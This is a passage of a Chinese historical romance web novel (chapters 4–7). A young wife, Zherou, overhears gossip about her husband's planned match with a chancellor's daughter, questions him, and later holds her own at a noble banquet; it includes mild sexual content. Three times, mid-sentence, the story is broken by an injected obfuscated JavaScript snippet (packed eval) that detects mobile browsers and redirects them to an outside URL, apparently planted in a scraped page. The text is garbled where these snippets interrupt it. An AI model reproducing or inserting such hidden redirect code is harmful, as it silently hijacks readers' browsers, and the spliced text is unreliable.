徐崇不动声色地点了点头,一面点茶,一面叹道:“原是如此。洮州僻远苦寒,贤侄从军三载,其中艰辛苦楚可想而知,在身边添置个伺候的外室,实属人之常情,算不得不孝。” 陆谌笑笑,并未反驳。 闲谈间七汤已过,兔毫盏中乳雾迭起,茶沫咬盏。徐崇笑吟吟地把建盏放到陆谌面前,另挑起个话头。 “前几日太仆寺新进一批良马,十六娘挑中了一匹小骊驹,这便缠着老夫给她寻个骑术教头。只是她这一身骄纵脾性,寻常教头哪个应付得来?老夫思来想去,倒不如托付给贤侄。” 说着,含笑望了过来,“小女顽劣,不知贤侄可愿拨冗指点一二?” “相公客气了。”陆谌垂眸接过杯盏,茶雾氤氲缭绕着,看不清眉眼神色,只语气中似乎带了点笑意,“十六娘何时想学,尽管去龙神卫校场寻我便是。” 闻言,徐崇满意地收回目光,又请他品茶。 两人闲叙了几句,看着天色不早,陆谌起身告辞。 由管事一路送到垂花门外,陆谌正要牵绳上马,身后忽然传来一道娇柔甜脆的声音。 “秉言哥哥!” 一个挽着蹙金银泥披帛,头梳双髻,簪珍珠点翠花筒钗,眉心一点殷红花钿的贵气小娘子快步追了上来,笑着唤他。 陆谌回过身来,笑应:“十六娘?” 廊下低悬着碧玉竹笼细纱灯,温润雅敛的烛光笼在他肩上,映衬着漆黑眼里的笑意,好一副公子清贵的模样。 徐有容看得心头一跳,耳根渐渐烫了起来。 她忍着颊边热意,双眸含笑,直视着他的眼睛,“听爹爹说,你答应要教我骑马了……那我后日……能去寻你么?” 陆谌笑笑,语气温煦:“自然。” 他脸型窄瘦,本是锋利的骨相,笑起来倒是平添了几分风流温柔意。 徐有容有些羞赧地回过头,吩咐女使把手中食盒递过去,“这是我们府上新做的山海兜,味道很好,便当做我的束脩吧。” “十六娘又何必同我客气?” “既是向秉言哥哥拜师学艺,礼数便要周全呢。” 陆谌牵了牵唇角,示意南衡上前接过。 见他收下食盒,徐有容心中欢喜,隐隐地雀跃着,行礼告别。 目送着她走远离开,陆谌转过身,脸上的笑意一霎沉下来,眸光里只剩一片冷寂。 ** 送别了陆谌,徐有容唇边漾满笑意,脚步轻快地回到前院书房。 见她走到门外,徐崇轻咳一声,故意端起神色,道:“回来啦。” 话音未落,徐有容便迈过了门槛,乳燕投林一般,扑进徐崇怀里,笑盈盈地搂住他胳膊:“爹爹。” 徐崇子嗣不丰,一向娇惯这个幼女,见女儿依偎过来,只觉满心柔软,抬手刮了刮她的鼻子,笑斥道:“今日可满意了?这般沉不住气,果然生女外向。” “女儿才不外向。”徐有容直起身子,半是撒娇半是认真地道:“秉言哥哥如今掌着上四军的兵权,对阿姐和姐夫是极有用处的,对爹爹自然也是助力,女儿可不单单是为着自己呢。” “哈哈,是爹爹的好女儿。”徐崇朗笑起来,“陆家三郎倒也算与容娘相配。” “至于他带回来的那个外室,”徐崇微微眯起眼,语气轻蔑,“一个乡下来的女子,无父无母,蝼蚁尔。容娘若嫌着碍眼,别说是用些手段,爹爹便是取了她的性命也无妨。” 徐有容自幼被千娇百宠着长大,但凡想要的就没有什么得不到的,自然不屑于此,扬起了下巴,骄傲道:“不过是一个乡女村妇,我才不会同她计较。大不了,等日后寻个庄子,远远打发了便是。” ** 陆府。 难得出来一日,折柔带着小婵在州桥附近逛了许久,特地去吃了曹婆婆肉饼和梅家包子,又和卖花郎买了几捧新开的棣棠花,流连到天色将黑,这才乘车返回家中。 吩咐小婵去归拢买来的香料杂物,折柔换了身衣裳,系好襻膊,来到庖厨腌制鱼鲊。 厨上的婆子和女使都在耳房用暮食,里间没有人当值,她独自寻了个干净的小杌子,在窗前坐下。 青鱼已经交由婆子去鳞切片,剩下的活计做起来并不辛苦,折柔习惯了亲力亲为,感觉就像从前在洮州小院过日子一样,有种说不出的安稳和踏实。 院子里很安静,只有夜风拂过桂树枝桠的轻响,窗扇开着,空气中浮来浅淡的花木清香。 不多时,廊下隐约响起了脚步声,用过暮食的丫鬟婆子在院中寒暄交谈。 “李婶子,你瞧见厨房采买的茯苓了没?一会儿还要给娘子炖阿胶茯苓汤,我只找到了阿胶,没看见茯苓呢。” 管库房的李婶子正要答话,一眼瞥见她手里的雕花盒,不由低低叫了一声:“哎呦我的春禾姑娘,给东院哪里用得上这等品相的阿胶!你去捡些细碎的炖了便是。” 春禾摇摇头,小声反驳,“不成的,这汤是郎君吩咐要炖给娘子的,若是不用好料,等叫郎君知晓了,定要罚我的。” 李婶子轻哼一声,“郎君哪有闲心管这等鸡毛蒜皮的小事。” 春禾有些迟疑,不解道:“怎么会呢?我瞧着,郎君待娘子是极用心的。” 听见这话,李婶子不屑地嗤了下,左右看看,压低声音道:“你还不知道?夫人怕不是在给郎君相看亲事呢!今日请了贵客上门……话里话外,探听的都是当朝宰辅……徐家十六娘。” 李婶子将声音压得极低,说话声断断续续,折柔只听了个大概。 相看亲事。徐家。 今日陆谌上门拜访的,也是徐家。 心口没来由地咯噔一跳,折柔一时走神,指腹冷不防叫尖锐的鱼骨刺了一下,转眼渗出几颗鲜红的血珠。 屋外的低语声还在继续:“神天菩萨,徐家千金那可是顶顶的贵女……东院那位,不定还能得宠几日……待到郎君定下亲事,被远远打发了……也算不得稀奇!” 春禾低低地“啊”了一声,“可,可我听她们说,娘子和郎君是拜过天地的……” “哎呦傻姑娘。”李婶子啧道:“夫人不认,那是什么娘子,还不就是个外室。” 折柔再也听不下去,只觉一股郁气堵在胸口,又酸又胀,憋闷得她心里难受。 她虽一向为人和善,不喜与人争执,却也不是任人揉圆搓扁一声不吭的软弱脾性,总不能随意什么人欺负到头上,她都装作听不见。 折柔放下手中的活计,站起身来,重重地咳了一声。 絮絮的说话声立刻停了,廊下的人闻声回头,瞧见她就站在窗前,春禾脸色唰地一白,连忙低下头,喏喏唤道:“娘子……” 李婶子神色也不大自然地僵了一僵。 折柔看向站在阶下的人,微笑着道:“在说什么呢?这般热闹。” 李婶子的眼中划过些许心虚,支吾着不敢看她。 “方才的话,我都听见了。” 折柔收起笑,挺直脊背,声音清亮,不疾不徐地开口,“主家付你月钱,是让你管着库房采买、做好份内之事,不是让你以次充好糊弄主家、又无事嚼舌编排旁人的。 我与陆谌是拜过天地,立过婚书的夫妻,你若想说,大可到他面前去说,不必在背后妄议,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861152|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的传出去丢尽陆府的颜面。” 自打来到上京,折柔一向待人温和柔善,未语先带笑,李婶子便只当她是个好拿捏的面人,却不知她还有如此脾性,一番话下来直听得面色涨红,慌忙俯下身去,行礼赔罪。 “若是敢有下次,是罚是卖,府中自有规矩处置,想来不必我再多言。” 两人连连应是,告罪散去,院子里再度安静下来。 折柔关上窗扇,回过身,用干净的木盆打了些水,拿皂角轻轻擦洗指腹。 被鱼骨扎破的地方沾了水,蛰出丝丝缕缕的刺痛。 十指连心。 折柔忽然被这痛意激出了一股委屈,仿佛被鱼骨刺中的不是指腹,而是心脏。 眼眶蓦地一热。 其实,她早就想过的,从洮州来到上京,人事风物全然不同,府里上上下下几十口人,不再只是她和陆谌两个人的事,婆母不肯相认,她难免要受些冷言冷语。 那时她想着,只要她与陆谌夫妻一心,往后总会越来越好。 可当真听见了,还是会觉得难堪。 她的确没有爹娘家世的倚靠,可她分明也堂堂正正,并不比谁低贱。 夜间,等陆谌回来的时候,折柔已经洗漱睡下。昏黄氤氲的光晕透过帷帐,轻轻地笼在她身上,屋子里浮动着一缕淡淡的清新香气,他回过头,见桌案上放着她习练插花的花篮,比起从前,已经颇有几分清雅意趣。 陆谌勾唇笑笑,转身去净室,沐浴换衣。 折柔听见声响,迷迷糊糊中,把脸往枕头里埋了埋,心里转过许多念头。 郑兰璧不认他们的亲事,要另外相看女郎,那陆谌呢?他去徐家……做什么? 不多时,右边床榻微微一沉,身畔传来衣料摩擦的细碎声响,陆谌轻手轻脚地上了榻,在折柔身侧躺下,伸手揽住了她的腰。 折柔一动不动,只安静地闭眼装睡。 她知道自己这样想多少是有些迁怒,可今日心里闷得难受,隐隐又有种说不清的不安,便不大想理会他。 “妱妱。”陆谌笑了,捏捏她的痒肉,“我知道你没睡。” 这人长了一身的心眼,折柔被闹得装不下去,不情不愿地睁开眼睛,朝他看去一眼。 “怎的了这是?”陆谌的动作微微一顿,眉心蹙起来,抬手想去摸她的脸。 折柔摇摇头,翻了个身,背对着他躺好,伸手想把被衾往上提一提,陆谌却一把扯住,不让她提。 折柔与陆谌拉扯了几回,拗不过他的力气,索性气鼓鼓地放开手,又往榻内挪了挪,闭紧眼睛。 见她这副赌气模样,陆谌不由失笑,凑过来,轻轻地亲了她一下,“宁妱妱,你今年几岁了?幼不幼稚。” “一生气了就喜欢缩进被子里,跟兔子钻洞似的,不理人。” 陆谌一边说着,一边把被子给她往上提了提,又仔细掖好被角。 听着身后窸窸窣窣的动作,折柔心头忽地一软。 她离开生长了十余年的故土,在这偌大的上京城里,她没有旁的亲人,只有一个陆秉言。 他们是要长长久久过日子的夫妻,有什么话,自然要说开了才对。 安静半晌,她睁开眼,看着柏木雕花床板上繁复曲折的纹路,轻轻开口。 “你阿娘似乎在给你相看亲事,听说,是徐家十六娘。” 陆谌愣了一下。 折柔拥被慢慢坐了起来,看着他的眼睛,慢吞吞道:“我今日看见你了。” “在徐府门口。” 陆谌的眸光微微一顿。 “你不是说要处置军务,怎么去了徐家?” 5. 第 5 章 这些话说出口,折柔心里舒服许多,抿了抿唇,定定地看着陆谌,等他回答。 陆谌倚在床头,目光温热地睨了她一会儿,忽然轻笑起来,肩膀微颤。 折柔顿觉羞恼,伸出脚轻踢了他一下,“你笑什么。” 陆谌坐起身,捉住她的脚踝,轻轻一拽,把人拉进怀里,笑道:“笑你傻,喝闷醋。” “我今日去徐府,是为着徐崇的一个门生。那厮惹出麻烦,我捞了他一把,去找徐崇卖个人情。” 顿了顿,他继续道:“至于松春院那边,一切有我处理,莫担心,嗯?” 折柔听着陆谌一句一句解释,心中渐渐安定下来,早前的那股闷气也散了个干净。 她本就是温婉明媚的性子,从不自苦,对未来的日子满是憧憬,心中有什么疑虑,既说开了,便绝不会再纠结。 只不过有些话,还是要与他说个明白。 想了想,折柔撑起身子,抬头看向陆谌,眸光清亮,一字一句,认真道:“陆秉言,你若有事,不要骗我。” 对视片刻,陆谌不动声色地调开视线,重新把人揽进怀里,长指摩挲着她的头发,低笑道:“傻妱妱,我几时骗过你。” 这话答得油滑,折柔脸上一红,正想笑他两句,陆谌已经埋头吻了下来,在她耳畔轻蹭了蹭,又向下含住她温软的唇瓣。 呼吸间都是他干净温热的气息,带着阵阵酥麻的触感。 折柔还不及把话说得再清楚些,就被他撩拨得心浮气短,脑中隐隐有些晕眩起来。 流连,向下,陆谌放开她的唇,一路细细密密地吮吻辗转,用牙齿轻咬着她纤白的脖颈,含混地呢喃。 “妱妱,我想要个孩子。” 折柔心头霎时酸软一片,轻轻环住了他的腰,微凉的手伸进他的中衣里,抚摸着他光滑劲实的背脊。 刚刚成婚那时候,两个少年人初尝情.事,上无长辈管束,很是胡天胡地了一段日子,对彼此的身子再熟稔不过。 缠眷片刻,陆谌再也压不住燥热,猛地抱起她翻了个身。 眼前一阵天旋地转,折柔环着他劲瘦有力的腰腹,低低惊呼一声,随后又轻笑了起来,眉眼盈盈如春水。 夜色渐深,几件汗湿的素白里衣随意堆落在地上,床帐里的喘息声交错起伏。 折柔身上汗津津的,脸颊贴着柔软的被褥,手臂伸出纱帐,无力地搭在床沿上。 一只筋骨有力的手追出来,从后覆上去,与她十指紧扣。 帷帐摇曳不休,如水波荡漾。 黑暗中,陆谌低喘着咬住她的后颈,哑声道:“妱妱,总有一日,我要让你做诰命夫人。” …… 后半夜下了一场细雨,淅淅沥沥地连绵到天明,轩窗外鸟鸣啾啾,不知哪里飞来一只小雀,惊动了阶下的护花铃,微风掠过,荡出一串啷啷的清响。 折柔朦朦胧胧地醒过来。 帐幔合得严严实实,床帏里一片昏暗。陆谌睡在她身后,温热的胸膛贴在她脊背上,暖融融的。 察觉到她的动静,陆谌也跟着动了下,轻声问:“醒了?” 折柔迷糊着翻过身,在他怀里轻蹭了蹭,耳朵听着他的心跳,低低应了一声,“嗯。” “再躺会儿,我去拿衣裳来。”陆谌轻笑着吻了下她的发顶,掀被起身。 帷帐里泛着融融暖意,折柔慵懒地裹在锦被里,看着他忙活。 陆谌扯了件外袍披上,赤足下榻,捡起地上凌乱的里衣,随手放到一旁的熏笼上,又走到衣箱前,翻找了一阵,挑出两人要换的衣裳。 屋子里光线昏暗,床脚油灯散出一团暖黄的晕光。 他只穿了身极薄的外衫,衣襟敞着,走动时衣料轻扬,隐约可以看到峻挺的背脊和劲瘦的腰腹,萧萧肃肃,姿态挺拔。 穿好了衣裳,陆谌走回来,把干净里衣和衫裙放到床头,忽然弯下腰,一把捏住她的脸颊,使坏似的,狠狠亲了一口。 他像个诡计得逞的小童,不等折柔回神还手,朗笑着起身去了外间,唤人送水洗漱。 院子里的细雨还未停歇,天色灰蒙蒙的,轩窗外雨声沙沙,瓦檐下的水珠嘀嗒不停。 折柔把脸往被子里埋了埋,听着他在外间走动的轻响,唇边不自禁地带了点满足的轻笑。 身上还有些泛酸,可心里却说不出的温暖安定,仿佛泡在一汪暖洋洋的温水里,惬意极了。 恍惚间,只觉人生恬淡安乐不过如此。 如若能与他这样长长久久地度过一生,再生养一个香软可爱的女儿,用胖乎乎的小手牵着他们,仰起脸甜甜地唤“爹爹,阿娘”,那该是何等美事…… 折柔闭眼稍躺了一会儿,也披衣下榻,穿好绣鞋,走到面盆架前,拿起竹木牙刷,蘸了点青盐慢慢刷牙。 廊上忽然响起一阵匆忙的脚步声,不多时,南衡压低的声音隐隐约约地从屋外传来:“郎君……府遣人……帖子,今日……” 折柔下意识看去,透过半开的窗扇,见南衡正低着头向陆谌禀事,手里握着的请帖露出一角,远远看着,像是张洒了金箔的淡粉砑花笺。 陆谌对着南衡淡淡地应了声,将他打发下去后,独自在廊下立了片刻,转身走回屋内。 见他进来,折柔刷着牙,口齿不清地问:“今日有要紧的应酬?” 陆谌只与她对视一瞬,低头拿起了巾帕,淡笑道:“没什么,鸣岐回京了,预备在梁园宴请几位好友同僚。” 鸣岐,是谢云舟的表字。 谢云舟的外祖母,先惠慈太后同陆谌祖母是堂亲姐妹,算起来亲缘并不太远,他们两个年岁相仿,自幼一同长大,后来又成了沙场同袍,几乎是可为彼此舍命的交情。 在陆谌充军的那几年,谢云舟时常前往洮州探望,时日久了,折柔与他慢慢熟稔起来,便也跟着陆谌唤他“鸣岐”。 听闻是谢云舟的帖子,折柔稍有些讶异,想想又觉得有趣,“鸣岐性子落拓,一向不讲究浮靡奢华,怎么也用上那等精细的纸笺了?” 陆谌的神色微顿一霎,随后又若无其事地笑笑,道:“许是长公主挑的罢。” 折柔含笑点头,没作多想。 洗漱停当,小婵从庖厨取了朝食送进来,两碗热腾腾的笋泼肉面,另有几样小菜,配着新煎的豆蔻熟水。 折柔拿起筷子,问他:“我记着,鸣岐年前刚领了泾原路的差事,怎么突然就回京了?” 陆谌道:“去岁大晋同青唐羌议了和,西边安靖,他留在军中也无甚要事,前些日子官家圣躬违和,便召了他回京侍疾。” 说着,他似是想到些什么,牵了牵唇角,“不过依我瞧着,侍疾只是个由头,官家传召,多半是为了给他安排亲事。” “怪不得呢。”折柔吃一口面,笑道,“他今年也二十有二了罢?再蹉跎上两年,怕是要急坏了他阿娘。” 陆谌垂眸笑笑,眼中藏了些让人看不透的情绪,“鸣岐若是再不成婚,只怕……官家比长公主还要急。” 用过饭,折柔撑了伞,送他出门上值。 临出院门,陆谌忽然站定,回身唤她:“妱妱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861153|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 折柔抬起脸,“嗯?” 雨雾朦胧,她撑着一柄碧色竹骨伞,微微仰着脸,眉眼清亮柔和,仿佛春日晒过的湖面,温暖干净,不染一丝杂质。 陆谌垂眸看了她一会儿,交待道:“青唐羌的使臣入京在即,官家下旨从三衙禁军拔擢一队精锐,听候随侍护卫。我奉命主持麾下诸班直比武较艺、操练阵对,大抵要忙上一段时日,你在家中顾好自己。” 从前陆谌在军中当差,聚少离多是常有的事,若是遇上羌人袭扰,守军出城御敌,更是一连数月都没有音讯,眼下不过是要忙碌几日,折柔并未放在心上,笑盈盈地望着他,点头应好。 “有什么事,记得遣人去衙门寻我。”陆谌抬手把她鬓边的碎发捋到耳后,继续道:“若是闷得无聊,便出去逛逛,不必顾忌母亲那边,嗯?” “啰嗦。”折柔笑着轻推他一下,温声道:“放心罢,我都记下了。” 随后的几日,陆谌果然忙碌起来,要么回府极晚,要么干脆宿在公廨,整日里难得见一回人影。 折柔也有自己的事要忙。 虽说陆谌叫她不必顾忌郑兰璧,她却不想惹得婆母愈加不喜,便只借着给陆谌送饭的由头,带小婵去了几趟马行街。 折柔大致看过各家成药铺的地段,仔细记下铺子里成药的类别和售价,又寻了个牙郎,打听清楚不同铺面的租金,几日下来,也算粗略摸清了这些成药铺子的行情。 转眼便是昌平伯府的满月宴。 毕竟是入京后第一次赴宴,折柔心中不免有些紧张,又忍不住欢喜,一早起来,小婵给她仔细打扮了一番,梳单螺流苏髻,丝绦缠发,粉黛轻匀。 换好衣裳,小婵还想给她贴个珍珠云母花钿,折柔笑了笑,没用花钿,只簪了两根简单的珍珠花钗。 前不久昌平郡伯刚办过一场寿宴,是以这回只给两家近亲散了帖子,算是亲友小聚,她若是打扮过于隆重,反倒显得露怯。 时辰差不多,出门登车,折柔带着早早备好的贺礼,到公廨接上陆谌,两人一同前往伯府赴宴。 昌平郡伯府毗邻杨楼,从禁军衙门出来,沿着旧曹门街一直往北,走了小半个时辰便到了。 到府门处上了礼,折柔和陆谌由迎候的婆子引着,先去内院拜见郡伯夫人。 郡伯府是从开国传承至今的勋贵人家,很有几分簪缨气象,内里比陆府豪阔数倍,雕梁画栋,花砖铺地,回廊两侧的金丝竹帘半卷着,隐约看见各色奇花异木,高低错落。 因着设宴待客,府里女使小厮往来不绝,手捧各色器物,却无一声嘈乱,穿廊过堂井然有序。 折柔虽已做过许多准备,却还不曾真正地和上京贵胄打过交道,今日这是头一遭。 越往里走,越体会到世家贵胄的底蕴积淀,折柔不由暗暗心惊。从前她想着只要努力肯学,也许融进这圈子没有那么难。 可当真见过了这富贵风流,才发觉那比她设想的要难上许多。 百年家世底蕴,十余载耳濡目染的熏陶作养,远非她一朝一夕所能弥补追赶。 也不知为何,恍惚就想起初到上京的那一日。她站在宏阔的城门下,看着汴河上货船熙攘,周遭人流如织,处处喧闹鼎沸,她却忽然漫上一股说不出的茫然孤独,好像只有靠在陆谌身边,才能感到些许安心。 折柔抿了抿唇。 穿过回廊,往主屋走去,明明陆谌就在她身旁,只稍稍走快半步,折柔仍是忍不住轻唤了他一声。 “陆秉言。” “你等等我。” 6. 第 6 章 陆谌愣了一瞬,反手握住她掌心,低声笑道:“几时这般粘人了。” 折柔脸颊微微一热,心里却忽然放松下来。 穿过游廊和庭院,再往前便是内院正房,阶下侍候的婆子通报后,堂屋里的笑闹声一霎安静下来,隐约听见有人起身走动的轻响。 不多时,折柔和陆谌被请进去,屋里几个女使环侍两侧,郡伯夫人坐在主位,下首一个装扮贵气、双眸含笑的年轻娘子忙站起身来,亲热地唤了声:“阿兄,阿嫂。” 折柔知道这便是陆琬。 陆琬今年将满十八,比她小了一岁,虽然刚刚生育过女儿,颊边却还带着点少女的丰润,粉腮琼鼻,人如其名,宛如一块盈润美玉。 尤其那一双眼睛,生得和陆谌有七分相像,折柔一见便心生亲切,不由得弯了弯眉眼,冲她点头示意,笑意温柔。 郡伯夫人含笑打量他们,“宁娘子与三郎也算得是郎才女貌。” 说着,又转头吩咐身边嬷嬷:“一会儿等萱姐儿醒了,记得叫乳娘抱出来拜见舅舅。” 寒暄过几句,陆谌不再多留,转过身冲折柔安抚地笑了笑,由人引着,去前堂拜访昌平郡伯。 陆琬的几位妯娌和小姑从屏风后走出来,围上前和折柔打招呼,各色目光纷纷落在她身上,有打量,有好奇,有探寻,还有隐隐藏不住的轻视。 郡伯府几代子孙庸碌,早已成了闲散勋贵,祖坟冒青烟才出了顾弘简这么一个二甲进士。 文官最重清名,当年陆家虽犯了事,可陆琬毕竟不是亲女,没有被连累落籍,郡伯府为了重情讲信的好名声,只能捏着鼻子认下先前的亲事。 偏生这亲事定的还是长房长媳,府中背地里本就颇多闲言碎语,如今听闻陆三郎带回个乡下女子,陆琬竟还唤她“阿嫂”,众人多多少少都存了些看热闹的心思。 这些人的眉眼官司丝毫不加掩饰,折柔心里有些微的难堪,面上却仍带了笑,镇定着神色,落落大方地和众人见礼。 众人原以为会瞧见个上不得台面的村女,却没想到折柔举止温婉得体,也挑不出什么错处,便歇了兴头,客套几句后各自坐回去,闲话起来。 陆琬仍在调养身子,管不了太多杂务,外间席面还需郡伯夫人留意打点,她稍坐了一会儿,带着二儿媳起身离开。 长辈一走,屋内气氛顿时松散不少。众人继续闲谈说笑,折柔大多只是听着,偶尔适时地笑应几句,并不多言。 她本就不是活泼喧闹的性子,更何况这是自打来上京后,头一遭出门应酬交际,不求出彩,只求无错。 见离开宴还有些时辰,陆琬招呼女使端来几样茶果子,白瓷小碟里盛着碧涧豆儿糕,鲜花团子和梨肉好郎君,旁边还摆了数个精致玲珑的兔毫盏,配着银钿罗筛、小磨茶碾、细竹筅等一应点茶器具。 一个穿棠梨色窄袖上襦,簪珍珠花头钗的小娘子见状笑嚷了起来,“长嫂,你又用茶果子勾我,这会儿吃饱了,席面上可不知要少吃多少好东西,我可听说了,母亲特意从樊楼订了招牌五珍脍呢!” 旁边的妇人笑啐一声:“十一娘,属你贪嘴,真是人如其名,雪沅雪沅,白胖小元子!” 此言一出,在座的女眷都笑了起来,屋子里气氛渐发热络。 陆琬眉眼弯弯,唇边绽开梨涡,“十一娘有所不知,我近来新得了些义兴的紫笋茶,虽然不如顾渚紫笋价贵难得,但我房里女使点茶手艺一绝,经她调制后也别有一番风味,我阿嫂难得来一回,当然要点与她品鉴品鉴。” 说着,她身后一个女使走上前来,在铜盆里盥了手,端正地坐到矮几后,抬起腕子细细地碾茶筛茶。 注汤,击拂,七汤过后,乳花汹涌,女使将茶汤分到各个小盏里,向座上女眷呈递过去。 陆琬亲自取了一盏,递给折柔,笑眯眯道:“还请阿嫂评点。” 对上她隐隐鼓励的目光,折柔笑了笑,心下一暖。 从前书信往来,陆琬知道四雅中她最拿手的便是点茶,这是有意给她搭梯架桥,好在众人之间有话可谈,免得让这些亲贵女眷误认她粗鄙,冷落轻视。 折柔定定神,接下兔毫盏,仔细看过盏里的茶汤,大方赞道:“汤色纯白,云脚绵密,汤花细腻均匀,形色皆是上乘,果然好手艺。” 低头轻抿一口,味道也极好,她笑起来,“茶香鲜醇,余味清甜,是好茶。” 众人也品了茶汤,听她这样评点,便知晓她颇通茶理,并非不懂装懂强附风雅,不由对她稍为改观,还有两个妇人含笑应和了几句。 折柔抿唇笑笑,心里放松下来,舌尖的茶香似乎都多了几分回甘。 “我却不这样觉得。” 屋子里蓦地响起一道突兀的声音。 众人神色一顿,折柔闻声看去,说话的人是顾弘简的胞妹,顾家七娘子。 顾七娘微微昂起头,瞥了眼陆琬,又转而看向折柔,意有所指道:“依我看,这茶本身的成色一般,不如顾渚紫笋来得金贵,就算点茶手艺再精妙,那也不过是镀了金的镔铁,徒有其表罢了。 宁娘子,我说的可有道理?” 话音落下,室内一霎安静。在座女眷互相交换一个眼神,脸色都不大自然。 这说的哪里是茶,分明是人。 平日里贵眷们交际时阴阳怪气惯了,也不知这乡下来的村女能不能听懂话中机锋。 倘若听不懂倒也罢了,最多被人暗中笑几句蠢钝,可若是听懂了却不会言辞婉转,又或是挂了脸,两下里闹将起来,只怕场面上不好看。 折柔自然也明白这个道理,放下茶盏,迎着顾七娘骄矜的目光,温和地笑了笑,“小娘子说的也不无道理。只不过常言‘茶无高低,适口为珍’。不论茶饼成色如何,在爱茶之人的眼里,总是各有风味,无分贵贱的。” “更何况,”她声音轻柔,眉眼含笑,“镔铁价贱,却可以铸耕犁、修戈矛,用来事农耕、御外侮;赤金价贵,却只被富贵人家拿来做器皿、造钗环。若是当真论起来,也只是各有价值,算不得‘徒有其表’罢?” 顾七娘涨红了脸。 之前她看这乡下女子温柔腼腆,还以为是个好拿捏的,必能连带着陆琬一起丢了脸,却没想到这女子口舌灵便,反倒是堵得她没话好说,偏偏还笑意盈盈望着她,让她想讥讽都找不出个由头来。 实是让人气闷。 陆琬瞥她一眼,笑吟吟地接过话头,“阿嫂说的正是,这世间茶种繁多,本就是各有滋味,倘若一味只求价贵,反倒失了风雅本意。七娘既喜欢顾渚紫笋,等过两日新茶上市了,我叫府里管事多采买些。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861154|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾七娘咬着牙,不吱声。 她替自己胞兄不平,一向与陆琬不和。 当年陆家出事,陆琬竟自己拿着婚书信物寻上门来,逼着他们伯府认下这门亲事,真是好不知羞,就算陆家如今又得了封赏,可也只是粗鄙武夫,不再是文臣清流,哪里还配得上她兄长? 这可这心思不能摆到明面上,不然只会伤了她兄长的官声。 正说着话,廊上忽然传来一阵脚步声,女使过来通报,说前头快要开宴了,请诸位贵客移步过去。 听得消息,十一娘欢喜地笑起来,扯着顾七娘出了门,其余女眷也陆续起身,三三两两地,说笑着结伴去往花厅。 室内安静下来,陆琬拉过折柔的手,不大好意思地道:“阿嫂,七娘与我不和,方才那一出尽是冲着我来的,言辞里暗讽的也是我,阿嫂莫往心里去。” 折柔安抚地冲她笑笑,“放心罢,我明白的。反倒是你呢,刚生过孩子,不能憋闷着,否则落下病来就麻烦了。 我给你带了个药枕,里面是我自己配伍的药草,夜里枕着可以凝神静气,记得让女使拿出来用。女子生产不易,要多爱重自己。” 陆琬眸光亮了起来,很是感动:“多谢阿嫂想着我。” 折柔心里暖热,轻轻拍拍她的手,柔声道:“你和秉言是兄妹呢,我们一家人,不说这等客套话。” 闻言,陆琬抬头看着她,咬了咬唇,似是下定什么决心,“说来还有一事,想请阿嫂帮我。” 折柔点点头,示意她讲。 “方才点茶的那个女使,是我特意买来,预备给顾弘简做房里人的。可她近来有些月事不调,我想请阿嫂帮她瞧一瞧,看能否调理,早日有孕。” 没想到她会说这话,折柔愣了一瞬,心中顿时生出担忧,犹豫片刻,迟疑着措辞,“顾家郎君……他待你不好么?怎么要往他房中送人?好好的夫妻两个,中间无端多出一个人来,再深的情意也是要离心的。” 陆琬道:“他待我是有几分情分,可伉俪伉俪,匹敌相当才是‘伉’,我同他门户不相称,一时半刻也难有嫡子,总不能指望着他对我的那点情分过一辈子罢。” 说着,她似是想到些什么,唇边浮起了点凉笑,“我觉着呢,人都是会变的,不过早一日还是晚一日的区别罢了。 与其等着他纳妾,不如我先把人给了他,左右身契在我手里握着,管它通房还是妾室,不耽误我自己的好日子就成啦。” ——匹敌相当才是“伉”。 ——人都是会变的,不过早一日还是晚一日的区别罢了。 听着这些话,折柔心头忽地一跳,隐隐泛起一缕涩意。 这话说的是陆琬,又何尝不是她? 虽然她与陆谌结识于微末落魄,是一路相伴扶持的情分,可他们的出身终究是云泥之别,人生前十余载的所见所闻全然不同,若不是他意外落难,他们的人生根本不会有交集。 她和陆谌,原是不相配的。 自打入京以来,她一直想着要寻些事做,平日里用心习练制香插花,又筹谋着开一家成药铺子,在她不曾发觉的内心深处,未尝不是存了这样的隐忧和慌张。 折柔心中微涩,对陆琬又多了几分疼惜,点点头答应下来,“放心,我会尽力帮她调理。” 7. 第 7 章 又说了一会儿话,陆琬带着折柔去花厅入席。 郡伯府准备的席面果然极其丰盛,雕花蜜煎、玉蝉羹、烧羊头、间笋蒸鹅、水晶脍……还有潘楼新近酿造的小槽珍珠红,配着晶莹剔透的玛瑙酒盅,堪称色味俱绝。 丝竹奏起,同座的亲眷们推杯换盏,言谈欢笑,席间氛围越发热闹,折柔心情不由松快下来,笑着同陆琬满饮了几盏,喝得很是尽兴。 